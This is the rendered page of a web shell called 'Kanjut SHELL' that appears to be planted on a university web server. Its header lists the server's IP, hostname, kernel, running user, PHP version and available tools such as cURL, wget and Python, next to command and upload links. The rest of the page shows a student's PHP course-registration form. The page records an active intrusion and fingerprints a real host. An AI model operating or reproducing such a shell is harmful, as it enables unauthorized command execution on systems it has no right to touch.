Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.143.235.104
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jahight/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jahight/public_html/Assignment3_2B.php
<!-- Assignment3_2B.php -->
<?php session_start(); ?>

<CENTER>
<FONT size=5 color=blue>
<H2>
Student Course Registration
<HR>
</H2>

<FORM action=Assignment3_2C.php method=post>

<?php
	if($_SESSION['CSCourses'] != NULL || $_SESSION['MathCourses'] != NULL)
		session_destroy();

	$name = $_POST['name'];
	$gender = $_POST['GENDER'];
	$grade = $_POST['GRADE'];
	$_SESSION['name'] = $name;
	$_SESSION['gender'] = $gender;
	$_SESSION['grade'] = $grade;

	$CSCourses = array("CS112", "CS212", "CS310", 
	"CS311", "CS380", "CS440", "CS480");
	$MathCourses = array("Math135", "Math136", 
	"Math171", "Math172", "Math271");
?>
<U>Computer Science Courses</U>
<BR>
<?php
	for($i=0;$i < count($CSCourses); $i++)
	{
		print "<input type=checkbox name=CSCourses[] value=$i> $CSCourses[$i]";
		print "<br/>";
	}
?>
<BR>
<U>Math Courses</U>
<BR>
<?php
	for($i=0;$i < count($MathCourses); $i++)
	{
		print "<input type=checkbox name=MathCourses[] value=$i> $MathCourses[$i]";
		print "<br/>";
	}
?>
<BR>
<input type=submit value=Submit>
<input type=reset value=Reset>
</FORM>
</FONT>
</CENTER>

Stv3n404 - 2023